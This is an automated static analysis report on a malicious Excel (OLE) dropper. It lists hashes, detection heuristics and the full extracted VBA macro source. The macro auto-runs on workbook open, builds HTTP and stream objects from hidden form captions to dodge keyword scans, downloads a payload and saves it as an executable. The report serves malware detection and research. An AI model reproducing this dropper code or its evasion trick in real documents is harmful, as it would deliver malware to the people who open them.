Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7dfc8de60b4e192c…

MALICIOUS

Office (OLE)

149.0 KB Created: 2019-05-18 07:27:21 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: 7ac54527d1ee52aafdc5577c8a700579 SHA-1: afb3202face9c03149affe3a035c75b703e39225 SHA-256: 7dfc8de60b4e192cb0d6d5479b18715597164ccdce433021aac5af4ce017aee8
270 Risk Score

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-6995197-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6995197-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        .write Stack1.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set ProAsO1 = CreateObject(UserForm8.Label2.Caption)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub WorkBook_open()
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://tl.symcd.com0& Referenced by macro
    • http://t2.symcb.com0Referenced by macro
    • http://ns.adobe.com/xap/1.0/Referenced by macro
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#Referenced by macro
    • http://ns.adobe.com/photoshop/1.0/Referenced by macro
    • http://purl.org/dc/elements/1.1/Referenced by macro
    • http://ns.adobe.com/xap/1.0/mm/Referenced by macro
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#Referenced by macro
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#Referenced by macro
    • http://tl.symcb.com/tl.crl0Referenced by macro
    • https://www.thawte.com/cps0/Referenced by macro
    • https://www.thawte.com/repository0WReferenced by macro
    • http://tl.symcb.com/tl.crt0Referenced by macro
    • http://t1.symcb.com/ThawtePCA.crl0Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas🔏 SignedVBA project digital signature
Covers VBA source only — not the compiled p-code. A digital signature does not by itself mean the macro is safe.		 vba-macro oletools.olevba.extract_macros (decoded VBA source) 2891 bytes
SHA-256: 683a832c60e7e83515fb7747831aceedb1c3867e3cfd7c898736a544b9d5b519
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub WorkBook_open()
UserForm7.Show



End Sub



Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Public Sub Anykey()
Dim time
time = Format(Now + TimeSerial(0, 1, 1), "hh:mm")

ExecuteExcel4Macro "MESSAGE(True, ""dialog"")"
#If Tarix Then

Dim varSet5
Dim varSet6
Dim varSet7
Dim varSet9
Dim varSet8
Dim varSet11
Dim varSet12


#End If
End Sub



Attribute VB_Name = "UserForm8"
Attribute VB_Base = "0{0CDE9C24-885A-4B39-B0A6-E322FA61799A}{66223680-5292-4D61-819F-766CB651DB87}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Sub Label5_Click()
Dim varSet5
Stack1.Open Me.Label3.Caption, Me.TextBox3.Tag, False
Dim varSet6
End Sub

Public Sub S1000()

End Sub
Public Sub frfr4()

End Sub

Attribute VB_Name = "Class1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Sub stvb113()

Sheet1.Anykey


Set ProAsO1 = CreateObject(UserForm8.Label2.Caption)
Dim varSet4

Set Stack1 = CreateObject(UserForm8.Label1.Caption)
Dim varSet3
UserForm8.Label5_Click
Stack1.Send

With ProAsO1
    .Type = 1
End With
    ProAsO1.Open
With ProAsO1
    .write Stack1.responseBody

End With
#If Tirax Then
    ProAsO1.savetofile "18.e" & "xe", 2
    ExecuteExcel4Macro UserForm8.TextBox3.Text

#End If

End Sub

Attribute VB_Name = "Module1"
 Public ProAsO1 As Object
Public Stack1 As Object
 Public ProAsO2 As Object
Public Stack2 As Object
 Public ProAsO3 As Object
Public Stack3 As Object


Attribute VB_Name = "UserForm7"
Attribute VB_Base = "0{CEBE87D2-21DA-4774-A90C-7584EB10C72E}{FC24389A-4D55-4588-BD5F-173F4BC719CC}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub UserForm_Activate()

    Dim c As New Class1
c.stvb113

ExecuteExcel4Macro "MESSAGE(True, ""9999"")"
Unload Me
End Sub

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